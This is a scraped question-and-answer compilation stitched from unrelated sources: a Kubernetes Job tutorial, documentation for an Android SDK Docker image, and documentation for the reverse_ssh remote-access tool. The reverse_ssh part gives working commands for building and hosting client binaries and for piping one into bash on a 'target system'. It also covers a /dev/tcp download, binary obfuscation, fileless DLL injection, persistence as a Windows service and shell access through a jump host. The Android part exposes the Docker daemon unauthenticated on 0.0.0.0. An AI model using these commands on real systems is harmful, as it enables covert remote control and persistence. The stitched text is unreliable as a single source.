Question: How to: Running Pod that perform a single completable task

Answer:
So far, I have told about the pods that run continuously. We'll have cases that need to terminate once the task is completed. ReplicationContollers, RelicaSets, DaemonSets run continuously task that are never considered completed. Process in these tasks are restarted when they exit, but we do not want that. We want to stop once the process is completed.

#### Introducing the Job resource

Kubernetes includes support for this through Job resource, which is similar to other resources we have discussed so far, but it allows you to run a pod whose container isn’t restarted when the process running inside finishes successfully. Once it does, the pod is considered complete.

In the event of node failure, pod on that node that are managed by the Job will be reschduled to other nodes the way ReplicaSets are. In the event of a failure of the process itself (when the process returns an error exit code), the Job can be configured to either restart the container or not.

As shown below, it tells how a pod created by a Job is rescheduled to a new node if the node it was initially scheduled to fails. It also shows both a managed pod, which isn’t rescheduled, and a pod backed by a ReplicaSet, which is.

For example, Jobs are useful for ad hoc tasks, where it’s crucial that the task finishes properly. You could run the task in an unmanaged pod and wait for it to finish, but in the event of a node failing or the pod being evicted from the node while it is performing its task, you’d need to manually recreate it. Doing this manually doesn’t make sense especially if the job takes hours to complete.

An example of such a job would be if you had data stored somewhere and you needed to transform and export it somewhere. You’re going to emulate this by running a container image built on top of the busybox image, which invokes the sleep command for two minutes. I’ve already built the image and pushed it to Docker Hub, but you can peek into its Dockerfile in the book’s code archive.

![Job resource](https://user-images.githubusercontent.com/24803604/72050330-e2f81f00-32e6-11ea-9bba-ec9603835138.png)

> Pods managed by Jobs are rescheduled until they finish successfully.

#### Defining a Job resource

Create the Job manifest as in the following listing. You’re going to create a file called **exporter.yaml** (you can create it in any directory you want), or copy from this repo, where you’ll find the file with filename [exporter.yaml](https://github.com/knrt10/kubernetes-basicLearning/blob/master/exporter.yaml). The following listing shows the entire contents of the file.

```yml
apiVersion: batch/v1
kind: Job
metadata:
  name: batch-job
spec:
  template:
    metadata:
      labels:
        app: batch-job
    spec:
      restartPolicy: OnFailure
      containers:
      - name: main
        image: knrt10/batch-job
```

Jobs are part of the `batch` API group and `v1 API` version. The YAML defines a resource of type Job that will run the `knrt10/batch-job` image, which invokes a process that runs for exactly 120 seconds and then exits. The image is already been pushed on dockerhub by me.

In a pod’s specification, you can specify what Kubernetes should do when the processes running in the container finish. This is done through the `restartPolicy` pod spec property, which defaults to `Always`. Job pods can’t use the default policy, because they’re not meant to run indefinitely. Therefore, you need to explicitly set the restart policy to either `OnFailure` or `Never`. This setting is what prevents the container from being restarted when it finishes (not the fact that the pod is being managed by a Job resource).

#### Seeing a Job run a pod

After you create this Job with the `kubectl create` command, you should see it start up
a pod immediately:

`kubectl get jobs`

```bash
NAME      DESIRED   SUCCESSFUL  AGE
batch-job 1         0           2s
```


Question: How to: Philosophy

Answer: Provide only the **barebone SDK** (the latest official minimal package) gives you the **maximum flexibility** in tailoring your own SDK tools for your project.  You can maintain an external **persistent** SDK directory, and mount it to any container.  In this way, you don't have to waste time on downloading over and over again, meanwhile, without having any unnecessary package.  Additionally, instead of one dedicated Docker image per Android API level (which will end up with a ton of images), you just have to deal with **one image**.  Last but not least, according to Android's [terms and conditions](https://developer.android.com/studio/terms), one may not **redistribute** the SDK or any part of the SDK.


Question: How to: or you can also pass specific tool version as you wish (optional, while there is default version)

Answer:
docker build --build-arg JDK_VERSION=
--build-arg GRADLE_VERSION=
--build-arg KOTLIN_VERSION=
--build-arg ANDROID_SDK_VERSION=
-t android-sdk android-sdk


Question: How to: copy the pre-downloaded SDK to the mounted 'sdk' directory

Answer: docker run -it --rm -v $(pwd)/sdk:/sdk thyrlian/android-sdk bash -c 'cp -a $ANDROID_HOME/. /sdk'


Question: How to: or install specific packages

Answer:
sdk/cmdline-tools/tools/bin/sdkmanager "build-tools;x.y.z" "platforms;android-
" ...


Question: How to: you should mount the SDK volume in read-only mode

Answer: docker run -it -v $(pwd)/sdk:/opt/android-sdk:ro thyrlian/android-sdk /bin/bash


Question: How to: you can mount without read-only option, only if you need to update SDK inside container

Answer: docker run -it -v $(pwd)/sdk:/opt/android-sdk thyrlian/android-sdk /bin/bash


Question: How to: to keep and reuse Gradle cache

Answer: docker run -it -v $(pwd)/sdk:/opt/android-sdk -v $(pwd)/gradle-caches:/root/.gradle/caches thyrlian/android-sdk /bin/bash


Question: How to: when the image was pulled from a registry

Answer: docker stop $(docker ps -aqf "ancestor=thyrlian/android-sdk") &> /dev/null && docker rm $(docker ps -aqf "ancestor=thyrlian/android-sdk") &> /dev/null


Question: How to: more flexible way - doesn't matter where the image comes from

Answer:
docker stop $(docker ps -a | grep 'android-sdk' | awk '{ print $1 }') &> /dev/null && docker rm $(docker ps -a | grep 'android-sdk' | awk '{ print $1 }') &> /dev/null
```


Question: How to: Accepting Licenses

Answer: A helper script is provided at [`/opt/license-accepter.sh`](https://github.com/thyrlian/AndroidSDK/blob/master/android-sdk/license-accepter.sh) for accepting the SDK and its various licenses.  This is helpful in non-interactive environments such as CI builds.


Question: How to: create a new Android Virtual Device

Answer: echo "no" | avdmanager create avd -n test -k "system-images;android-25;google_apis;armeabi-v7a"


Question: How to: launch emulator

Answer:
emulator -avd test -no-audio -no-boot-anim -accel on -gpu swiftshader_indirect &
```

For more details, please refer to [Emulator section](https://github.com/thyrlian/AndroidSDK#emulator).


Question: How to: VNC client recommendation

Answer:
* macOS: [Screen Sharing](https://support.apple.com/guide/mac-help/share-the-screen-of-another-mac-mh14066/mac)
* Linux: [Remmina](https://remmina.org/)
* Cross-Platform: [VNC Viewer](https://www.realvnc.com/en/connect/download/viewer/)


Question: How to: Gradle Distributions Mirror Server

Answer:
There is still room for optimization: recent distribution of Gradle is around 100MB, imagine different containers / build jobs have to perform downloading over and over again, and it has high influence upon your network bandwidth.  Setting up a local Gradle distributions mirror server would significantly boost your download speed.

Fortunately, you can easily build such a mirror server docker image on your own.

  ```bash
  docker build -t gradle-server gradle-server
  # by default it downloads the most recent 14 gradle distributions (excluding rc or milestone)
  # or you can also pass how many gradle distributions should be downloaded
  docker build --build-arg GRADLE_DOWNLOAD_AMOUNT=
-t gradle-server gradle-server
  ```

Preferably, you should run the [download script](https://github.com/thyrlian/AndroidSDK/blob/master/gradle-server/gradle-downloader.sh) locally, and mount the download directory to the container.

  ```bash
  gradle-server/gradle-downloader.sh [DOWNLOAD_DIRECTORY] [DOWNLOAD_AMOUNT]
  docker run -d -p 80:80 -p 443:443 -v [DOWNLOAD_DIRECTORY]:/var/www/gradle.org/public_html/distributions gradle-server
  ```

  ```bash
  # copy the SSL certificate from gradle server container to host machine
  docker cp `docker ps -aqf "ancestor=gradle-server"`:/etc/apache2/ssl/apache.crt apache.crt
  # copy the SSL certificate from host machine to AndroidSDK container
  docker cp apache.crt `docker ps -aqf "ancestor=thyrlian/android-sdk"`:/home/apache.crt
  # add self-signed SSL certificate to Java keystore
  docker exec -it `docker ps -aqf "ancestor=thyrlian/android-sdk"` bash -c '$JAVA_HOME/bin/keytool -import -trustcacerts -file /home/apache.crt -keystore $JAVA_HOME/jre/lib/security/cacerts -storepass changeit -noprompt'
  # map gradle services domain to your local IP
  docker exec -it `docker ps -aqf "ancestor=thyrlian/android-sdk"` bash -c 'echo "[YOUR_HOST_IP_ADDRESS_FOR_GRADLE_CONTAINER] services.gradle.org" >> /etc/hosts'
  ```

Starting from now on, gradle wrapper will download gradle distributions from your local mirror server, lightning fast!  The downloaded distribution will be uncompressed to `/root/.gradle/wrapper/dists`.

If you don't want to bother with SSL certificate, you can simply change the `distributionUrl` inside `[YOUR_PROJECT]/gradle/wrapper/gradle-wrapper.properties` from `https` to `http`.


Question: How to: Preconditions on the host machine (for x86 emulator)

Answer:
Read [How to Start Intel Hardware-assisted Virtualization (hypervisor) on Linux](https://software.intel.com/en-us/blogs/2012/03/12/how-to-start-intel-hardware-assisted-virtualization-hypervisor-on-linux-to-speed-up-intel-android-x86-emulator) for more details.

Read [KVM Installation](https://help.ubuntu.com/community/KVM/Installation) if you haven't got KVM installed on the host yet.

* Check the capability of running KVM

  ```bash
  grep -cw ".*\(vmx\|svm\).*" /proc/cpuinfo
  # or
  egrep -c '(vmx|svm)' /proc/cpuinfo
  # a non-zero result means the host CPU supports hardware virtualization.

  sudo kvm-ok
  # seeing below info means you can run your virtual machine faster with the KVM extensions
  INFO: /dev/kvm exists
  KVM acceleration can be used
  ```

* Load KVM module on the host

  ```console
  sudo modprobe kvm
  # or for Intel processors
  sudo modprobe kvm-intel
  # or for AMD processors
  sudo modprobe kvm-amd
  ```

* Check if KVM module is successfully loaded

  ```console
  lsmod | grep kvm
  ```


Question: How to: Where can I run x86 emulator

Answer:
* Linux physical machine

* Cloud computing services (must support nested virtualization)

  **Note**: there will be a performance penalty, primarily for CPU bound workloads and I/O bound workloads.

  * [Amazon Web Services](https://aws.amazon.com/blogs/compute/running-hyper-v-on-amazon-ec2-bare-metal-instances/)

  * [Google Cloud Platform](https://cloud.google.com/compute/docs/instances/enable-nested-virtualization-vm-instances)

  * [IBM Cloud](https://www.ibm.com/developerworks/cloud/library/cl-nestedvirtualization/index.html)

  * [Microsoft Azure](https://azure.microsoft.com/en-us/blog/nested-virtualization-in-azure/)

* [VirtualBox](https://www.virtualbox.org/) (since 6.0.0, it started supporting nested virtualization, which could be turned on by "Enable Nested VT-x/AMD-V", but at the moment, it's only for AMD CPUs)


Question: How to: How to run emulator

Answer:
* Check available emulator system images from remote SDK repository

  ```console
  sdkmanager --list --verbose
  ```

* Make sure that the required SDK packages are installed, you can find out by above command.  To install, use the command below.  Whenever you see error complains about `ANDROID_SDK_ROOT` (or `ANDROID_HOME`), such as `PANIC: Cannot find AVD system path. Please define ANDROID_SDK_ROOT` or `PANIC: Broken AVD system path. Check your ANDROID_SDK_ROOT value`, it means that you need to install following packages.

  ```console
  sdkmanager "platform-tools" "platforms;android-
" "emulator"
  ```

* Download emulator system image(s) (on the host machine)

  ```bash
  sdkmanager "system_image_1" "system_image_2"
  # e.g.:
  # system-images;android-24;android-tv;x86
  # system-images;android-24;default;arm64-v8a
  # system-images;android-24;default;armeabi-v7a
  # system-images;android-24;default;x86
  # system-images;android-24;default;x86_64
  # system-images;android-24;google_apis;arm64-v8a
  # system-images;android-24;google_apis;armeabi-v7a
  # system-images;android-24;google_apis;x86
  # system-images;android-24;google_apis;x86_64
  # system-images;android-24;google_apis_playstore;x86
  ```

* Run Docker container in privileged mode (not necessary for ARM emulator)

  ```bash
  # required by KVM
  docker run -it --privileged -v $(pwd)/sdk:/opt/android-sdk:ro thyrlian/android-sdk /bin/bash
  ```

* Check acceleration ability (not necessary for ARM emulator)

  ```bash
  emulator -accel-check

  # when succeeds
  accel:
  0
  KVM (version 12) is installed and usable.
  accel

  # when fails (probably due to unprivileged mode)
  accel:
  8
  /dev/kvm is not found: VT disabled in BIOS or KVM kernel module not loaded
  accel
  ```

* Create a new Android Virtual Device

  ```bash
  echo "no" | avdmanager create avd -n
-k
# e.g.:
  echo "no" | avdmanager create avd -n test -k "system-images;android-24;default;armeabi-v7a"
  ```

* List existing Android Virtual Devices

  ```bash
  avdmanager list avd
  # ==================================================
  Available Android Virtual Devices:
      Name: test
      Path: /root/.android/avd/test.avd
    Target: Default Android System Image
            Based on: Android 7.0 (Nougat) Tag/ABI: default/armeabi-v7a
  # ==================================================

  # or

  emulator -list-avds
  # 32-bit Linux Android emulator binaries are DEPRECATED
  # ==================================================
  test
  # ==================================================
  ```

* Launch emulator in background

  ```bash
  emulator -avd
-no-audio -no-boot-anim -no-window -accel on -gpu off &

  # if the container is not running in privileged mode, you should see below errors:
  #=> emulator: ERROR: x86_64 emulation currently requires hardware acceleration!
  #=> Please ensure KVM is properly installed and usable.
  #=> CPU acceleration status: /dev/kvm is not found: VT disabled in BIOS or KVM kernel module not loaded
  # or it's running on top of a VM
  #=> CPU acceleration status: KVM requires a CPU that supports vmx or svm
  ```

* Check the virtual device status

  ```bash
  adb devices
  # ==================================================
  List of devices attached
  emulator-5554	offline
  # "offline" means it's still booting up
  # ==================================================

  # ==================================================
  List of devices attached
  emulator-5554	device
  # "device" means it's ready to be used
  # ==================================================
  ```

Now you can for instance run UI tests on the emulator (just remember, the performance is POOR):

  ```console
/gradlew connectedAndroidTest
  ```


Question: How to: Troubleshooting emulator

Answer:
If you encounter an error "***Process system isn't responding***" in the emulator, like below:
You could try:

* Increase the limit of the memory resource available to Docker Engine.

* Increase the amount of physical RAM on the emulator by setting / changing `hw.ramSize` in the AVD's configuration file (`config.ini`).  By default, it's not set and the default value is "96" (in megabytes).  You could simply set a new value via this command: `echo "hw.ramSize=1024" >> /root/.android/avd/
.avd/config.ini`


Question: How to: Android Device

Answer:
You can give a container access to host's USB Android devices.

  ```console
  # on Linux
  docker run -it --privileged -v /dev/bus/usb:/dev/bus/usb -v $(pwd)/sdk:/opt/android-sdk thyrlian/android-sdk /bin/bash

  # or
  # try to avoid privileged flag, just add necessary capabilities when possible
  # --device option allows you to run devices inside the container without the --privileged flag
  docker run -it --device=/dev/ttyUSB0 -v $(pwd)/sdk:/opt/android-sdk thyrlian/android-sdk /bin/bash
  ```

Note:

* Connect Android device via USB on host first;

* Launch container;

* Disconnect and connect Android device on USB;

* Select OK for "Allow USB debugging" on Android device;

* Now the Android device will show up inside the container (`adb devices`).

Don't worry about `adbkey` or `adbkey.pub` under `/.android`, not required.

[Docker for Mac FAQ](https://docs.docker.com/docker-for-mac/faqs/#can-i-pass-through-a-usb-device-to-a-container) says:

  > Unfortunately it is not possible to pass through a USB device (or a serial port) to a container.


Question: How to: Firebase Test Lab

Answer:
You can also run UI tests on Google's [Firebase Test Lab](https://firebase.google.com/docs/test-lab) with emulators or physical devices.

To create and configure a project on the platform:

* Create a project in [Google Cloud Platform](https://console.cloud.google.com/cloud-resource-manager) if you haven't created one yet.

* Create a project in [Firebase](https://console.firebase.google.com/):

    * Choose the recently created Google Cloud Platform project to add Firebase services to it.

    * Confirm Firebase billing plan.

* Go to **IAM & Admin** -> **Service Accounts** in [Google Cloud Platform](https://console.cloud.google.com/iam-admin/serviceaccounts):

    * Edit the Firebase Admin SDK Service Agent account.

    * **Keys** -> **ADD KEY** -> **Create new key** -> **Key type**: **JSON** -> **CREATE**.

    * Download and save the created private key to your computer.

* Go to **IAM & Admin** -> **IAM** in [Google Cloud Platform](https://console.cloud.google.com/iam-admin/iam):

    * Edit the Firebase Admin SDK Service Agent account.

    * **ADD ANOTHER ROLE** -> **Role**: **Project** -> **Editor** -> **SAVE**.

* Go to [API Library](https://console.developers.google.com/apis/library) -> search for **Cloud Testing API** and **Cloud Tool Results API** -> enable them.

Once finished setup, you can then launch a container to deploy UI tests to Firebase Test Lab:

```bash


Question: How to: pull the image with Google Cloud SDK integrated

Answer: docker pull thyrlian/android-sdk-firebase-test-lab


Question: How to: spin up a container with interactive mode

Answer:
docker run -it -v $(pwd)/sdk:/opt/android-sdk -v
/firebase.json:/root/firebase.json -v $(pwd)/gcloud-config:/root/.config/gcloud thyrlian/android-sdk-firebase-test-lab /bin/bash


Question: How to: or spin up a container with SSH

Answer:
docker run -d -p 2222:22 -v $(pwd)/sdk:/opt/android-sdk -v
/firebase.json:/root/firebase.json -v $(pwd)/gcloud-config:/root/.config/gcloud -v $(pwd)/authorized_keys:/root/.ssh/authorized_keys thyrlian/android-sdk-firebase-test-lab


Question: How to: authorize access to Google Cloud Platform with a service account (by its private key)

Answer: gcloud auth activate-service-account -q --key-file /root/firebase.json


Question: How to: below are just some examples, to give you an idea how it looks like

Answer:
┌───────────────────┬────────────────────┬──────────────────────────────────────┬──────────┬─────────────┬─────────────────────────┬───────────────┐
│      MODEL_ID     │        MAKE        │              MODEL_NAME              │   FORM   │  RESOLUTION │      OS_VERSION_IDS     │      TAGS     │
├───────────────────┼────────────────────┼──────────────────────────────────────┼──────────┼─────────────┼─────────────────────────┼───────────────┤
│ Nexus9            │ HTC                │ Nexus 9                              │ VIRTUAL  │ 2048 x 1536 │ 21,22,23,24,25          │               │
│ NexusLowRes       │ Generic            │ Low-resolution MDPI phone            │ VIRTUAL  │  640 x 360  │ 23,24,25,26,27,28,29,30 │ beta=30       │
│ OnePlus3T         │ OnePlus            │ OnePlus 3T                           │ PHYSICAL │ 1920 x 1080 │ 26                      │               │
└───────────────────┴────────────────────┴──────────────────────────────────────┴──────────┴─────────────┴─────────────────────────┴───────────────┘


Question: How to: run UI tests

Answer:
UI_TEST_APK="--app=
/debug.apk --test=
/androidTest.apk"
UI_TEST_TYPE="instrumentation"
UI_TEST_DEVICES="--device model=MODEL_ID,version=OS_VERSION_IDS,locale=en,orientation=portrait"
UI_TEST_RESULT_DIR="build-result"
UI_TEST_PROJECT="
"
gcloud firebase test android run $UI_TEST_APK $UI_TEST_DEVICES --type=$UI_TEST_TYPE --results-dir=$UI_TEST_RESULTS_DIR --project=$UI_TEST_PROJECT


Question: How to: e.g.: to run 20 tests in parallel on 4 devices (5 tests per device): --num-uniform-shards=4

Answer:
```

Later you can view the test results (including the recorded video of test execution) in [Firebase Console](https://console.firebase.google.com), open your ***project***, navigate to **Test Lab**.

To learn more about Firebase Test Lab and Google Cloud SDK, please go and visit below links:

* [Firebase Test Lab Overview](https://firebase.google.com/docs/test-lab/android/overview)

* [Google Cloud SDK CLI Command Group for Android Application Testing](https://cloud.google.com/sdk/gcloud/reference/beta/firebase/test/android)


Question: How to: OOM behaviour

Answer:
Sometimes you may encounter OOM (Out of Memory) issue.  The issues vary in logs, while you could find the essence by checking the exit code (`echo $?`).

For demonstration, below examples try to execute [MemoryFiller](https://github.com/thyrlian/AndroidSDK/blob/master/misc/MemoryFiller/MemoryFiller.java) which can fill memory up quickly.

* **Exit Code** `137` (= 128 + 9 = SIGKILL = Killed)

  Example code:

    ```bash
    # spin up a container with memory limit (128MB)
    docker run -it -m 128m -v $(pwd)/misc/MemoryFiller:/root/MemoryFiller thyrlian/android-sdk /bin/bash
    # fill memory up
    cd /root/MemoryFiller && javac MemoryFiller.java
    java MemoryFiller
    ```

  Logs:

    ```console
    Killed
    ```

  Commentary: The process was in extreme resource starvation, thus was killed by the kernel OOM killer.  This happens when **JVM max heap size > actual container memory**.  Similarly, the logs could look like this when running a gradle task in an Android project: `Process 'Gradle Test Executor 1' finished with non-zero exit value 137`.

* **Exit Code** `1` (= SIGHUP = Hangup)

  Example code:

    ```bash
    # spin up a container with memory limit (or without - both lead to the same result)
    docker run -it -m 128m -v $(pwd)/misc/MemoryFiller:/root/MemoryFiller thyrlian/android-sdk /bin/bash
    # fill memory up
    # enable Docker memory limits transparency for JVM
    cd /root/MemoryFiller && javac MemoryFiller.java
    java -XX:+UnlockExperimentalVMOptions -XX:+UseCGroupMemoryLimitForHeap MemoryFiller
    ```

  Logs:

    ```console
    Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at MemoryFiller.main(MemoryFiller.java:13)
    ```

  Commentary: With [enabling Docker memory limits transparency for JVM](https://blogs.oracle.com/java-platform-group/java-se-support-for-docker-cpu-and-memory-limits), JVM is able to correctly estimate the max heap size, and it won't be killed by the kernel OOM killer any more.  Similarly, the logs could look like this when running a gradle task in an Android project: `Process 'Gradle Test Executor 1' finished with non-zero exit value 1`.  In this case, you should either check your code or tweak your memory limit for container (or JVM heap parameters, or even the host memory size).

* **Exit Code** `3` (= SIGQUIT = Quit)

  Example code:

    ```bash
    # spin up a container without memory limit
    docker run -it -v $(pwd)/misc/MemoryFiller:/root/MemoryFiller thyrlian/android-sdk /bin/bash
    # fill memory up
    cd /root/MemoryFiller && javac MemoryFiller.java
    # make sure that Docker memory resource is big enough > JVM max heap size
    # otherwise it's better to run with UnlockExperimentalVMOptions & UseCGroupMemoryLimitForHeap enabled
    java -XX:+ExitOnOutOfMemoryError MemoryFiller
    ```

  Logs:

    ```console
    Terminating due to java.lang.OutOfMemoryError: Java heap space
    ```

  Commentary: JRockit JVM exits on the first occurrence of an OOM error. It can be used if you prefer restarting an instance of JRockit JVM rather than handling OOM errors.

* **Exit Code** `134` (= 128 + 6 = SIGABRT = Abort)

  Example code:

    ```bash
    # spin up a container without memory limit
    docker run -it -v $(pwd)/misc/MemoryFiller:/root/MemoryFiller thyrlian/android-sdk /bin/bash
    # fill memory up
    cd /root/MemoryFiller && javac MemoryFiller.java
    # make sure that Docker memory resource is big enough > JVM max heap size
    # otherwise it's better to run with UnlockExperimentalVMOptions & UseCGroupMemoryLimitForHeap enabled
    java -XX:+CrashOnOutOfMemoryError MemoryFiller
    ```

  Logs:

    ```console
    Aborting due to java.lang.OutOfMemoryError: Java heap space
    #
    # A fatal error has been detected by the Java Runtime Environment:
    #
    #  Internal Error (debug.cpp:308), pid=63, tid=0x00007f208708d700
    #  fatal error: OutOfMemory encountered: Java heap space
    #
    # JRE version: OpenJDK Runtime Environment (8.0_131-b11) (build 1.8.0_131-8u131-b11-2ubuntu1.16.04.3-b11)
    # Java VM: OpenJDK 64-Bit Server VM (25.131-b11 mixed mode linux-amd64 compressed oops)
    # Failed to write core dump. Core dumps have been disabled. To enable core dumping, try "ulimit -c unlimited" before starting Java again
    #
    # An error report file with more information is saved as:
    # /root/MemoryFiller/hs_err_pid63.log
    #
    # If you would like to submit a bug report, please visit:
    #   http://bugreport.java.com/bugreport/crash.jsp
    #
    Aborted
    ```

  Commentary: JRockit JVM crashes and produces text and binary crash files when an OOM error occurs.  When JVM crashes with a fatal error, an error report file `hs_err_pid***.log` will be generated in the same working directory.


Question: How to: find the location of systemd unit file

Answer:
systemctl status docker
#=> docker.service - Docker Application Container Engine
#=> Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)

sudo sed -i.bak 's?ExecStart.*?ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2376 -H unix:///var/run/docker.sock?g' /lib/systemd/system/docker.service
sudo systemctl daemon-reload
sudo systemctl restart docker.service


Question: How to: Release guide

Answer:
* Go to the top-level directory of this project

* Execute [`image-publisher.sh`](https://github.com/thyrlian/AndroidSDK/blob/master/image-publisher.sh) script

  ```console
  ./image-publisher.sh [TAG]
  ```

* Execute [`version-inspector.sh`](https://github.com/thyrlian/AndroidSDK/blob/master/android-sdk/version-inspector.sh) script inside a docker container from local machine to check versions of tools

  ```console
  cmd=$(cat ./android-sdk/version-inspector.sh) && docker run -it --rm android-sdk bash -c "$cmd"
  ```

* Update [Changelog](https://github.com/thyrlian/AndroidSDK/blob/master/CHANGELOG.md) based on the versions info printed by the above commands

* Create a new tag (name it the version number, just like: `x.x`) with the corresponding commit in Git and publish the tag


Question: How to: Contributing

Answer: Your contribution is always welcome, which will for sure make the Android SDK Docker solution better.  Please check the [contributing guide](./CONTRIBUTING.md) to get started!  Thank you ☺


Question: How to: Stargazers over time

Answer: [![Stargazers over time](https://starchart.cc/thyrlian/AndroidSDK.svg)](https://starchart.cc/thyrlian/AndroidSDK)


Question: How to: Start the server

Answer:
docker run -p3232:2222 -e EXTERNAL_ADDRESS=
:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
```

or docker compose:

```yaml
services:
  reversessh:
    image: reversessh/reverse_ssh
    ports:
      - "3232:2222"
    environment:
      - EXTERNAL_ADDRESS=
:3232
      - RSSH_CONSOLE_LABEL=c2.label
      - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
      - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
    volumes:
      - ./data:/data
```


Question: How to: Build a new client and host it on the in-built webserver

Answer:
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


Question: How to: curl or wget this binary to a target system then execute it,

Answer: curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash


Question: How to: then we can then list what clients are connected

Answer:
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+
```

All commands support the `-h` flag for giving help.

Then typical ssh commands work, just specify your rssh server as a jump host.

```sh


Question: How to: Connect to full shell

Answer: ssh -J your.rssh.server.internal:3232 dummy.machine


Question: How to: Start remote forward

Answer: ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine


Question: How to: Start dynamic forward

Answer: ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine


Question: How to: Individuals

Answer:
[chikamobina](https://github.com/chikamobina) for their generous donations!
[wrighterase (ctrlzero)](https://github.com/wrighterase) for their pull requests and donation!


Question: How to: Privileges

Answer:
The RSSH server supports very basic user privileges, where users found in the `data-directory`/`keys` (specified by `--datadir`) folder e.g `data-directory/keys/jim` will be assigned as a "user" only able to see clients that are public (found in the authorized_controllee_keys file without an `owners` tag, or an empty `owners` tag) or specifically assigned to them, e.g `owners="jim"`.

This can be changed at run time via an user sharing access to a client they own with the `access` command, or a server administrator. Defaultly, any public key found in the `authorized_keys` file will be marked as an administrator to retain backwards compatibility.
Any changes made by the `access` command will not persist server reboot, and this will require editing the `authorized_controllee_keys` file for that specific client.


Question: How to: Automatic connect-back

Answer:
The rssh client allows you to bake in a connect back address.
By default the `link` command will bake in the servers external address.

If you're (for some reason) manually building the binary, you can specify the environment variable `RSSH_HOMESERVER` to bake it into the client:

```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make


Question: How to: Reverse shell download (client generation and in-built HTTP/Raw TCP server)

Answer:
The RSSH server can build and host client binaries (`link` command). Which is the preferred method for building and serving clients.
For function to work the server must be placed in the project `bin/` folder, as it needs to find the client source.

By default the `docker` release has this all built properly, and is recommended for use

```sh
ssh your.rssh.server.internal -p 3232

catcher$ link -h

link [OPTIONS]
Link will compile a client and serve the resulting binary on a link which is returned.
This requires the web server component has been enabled.
        --fingerprint   Set RSSH server fingerprint will default to server public key
        --garble        Use garble to obfuscate the binary (requires garble to be installed)
        --goarch        Set the target build architecture (default runtime GOARCH)
        --goarm Set the go arm variable (not set by default)
        --goos  Set the target build operating system (default runtime GOOS)
        --http  Use http polling as the underlying transport
        --https Use https polling as the underlying transport
        --log-level     Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED]
        --lzma  Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set)
        --name  Set the link download url/filename (default random characters)
        --no-lib-c      Compile client without glibc
        --ntlm-proxy-creds      Set NTLM proxy credentials in format DOMAIN\\USER:PASS
        --owners        Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson
        --proxy Set connect proxy address to bake it
        --raw-download  Download over raw TCP, outputs bash downloader rather than http
        --shared-object Generate shared object file
        --sni   When TLS is in use, set a custom SNI for the client to connect with
        --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored
        --tls   Use TLS as the underlying transport
        --upx   Use upx to compress the final binary (requires upx to be installed)
        --use-kerberos  Instruct client to try and use kerberos ticket when using a proxy
        --working-directory     Set download/working directory for automatic script (i.e doing curl https://
.sh)
        --ws    Use plain http websockets as the underlying transport
        --wss   Use TLS websockets as the underlying transport
        -C      Comment to add as the public key (acts as the name)
        -l      List currently active download links
        -o      Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson
        -r      Remove download link
        -s      Set homeserver address, defaults to server --external_address if set, or server listen address if not


Question: How to: Generate a client and serve it on a named link

Answer:
catcher$ link --name test
http://your.rssh.server.internal:3232/test
```

Then you can download it as follows:

```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test
```

Or you can use raw tcp to download the client binary:
```sh
bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test
```
The format for this is just `RAW` followed by the filename, i.e in this case `test`, rssh can autogenerate this for you with `--raw-download`.

The RSSH server also supports `.sh`, `.py` and `.ps1` URL path endings which will generate a script you can pipe into an intepreter:
```sh
curl http://your.rssh.server.internal:3232/test.sh | sh
```


Question: How to: Alternate Transports (HTTP/Websockets/TLS)

Answer:
The reverse SSH server and client both support multiple transports for when deep packet inspection blocks SSH outbound from a host or network.
You can either specify the connect back scheme manually by specifying it as a url in the client.

E.g
```sh
./client -d ws://your.rssh.server:3232
```

Or by baking it in with the `link` command.
```sh
ssh your.rssh.server -p 3232 link --ws --name test
```


Question: How to: Windows DLL Generation

Answer:
You can compile the client as a DLL to be loaded with something like [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1). Which is useful when you want to do fileless injection of the rssh client.

This will need a cross compiler if you are doing this on linux, use `mingw-w64-gcc`, this is included in the docker release.

```bash


Question: How to: Using the link command

Answer:
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll


Question: How to: If building manually

Answer:
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
```


Question: How to: SSH Subsystems

Answer:
The SSH protocol supports calling subsystems with the `-s` flag. In RSSH this is repurposed to provide special commands for platforms, and `sftp` support.

#### All

`list`  Lists avaiable subsystem

`sftp`: Runs the sftp handler to transfer files

#### Linux

`setgid`:   Attempt to change group

`setuid`:   Attempt to change user

#### Windows
`service`: Installs or removes the rssh binary as a windows service, requires administrative rights

e.g

```sh


Question: How to: Install the rssh binary as a service (windows only)

Answer:
ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install
```


Question: How to: Windows Service Integration

Answer: The client RSSH binary supports being run within a windows service and wont time out after 10 seconds. This is great for creating persistent management services.


Question: How to: Full Windows Shell Support

Answer:
Most reverse shells for windows struggle to generate a shell environment that supports resizing, copying and pasting and all the other features that we're all very fond of.
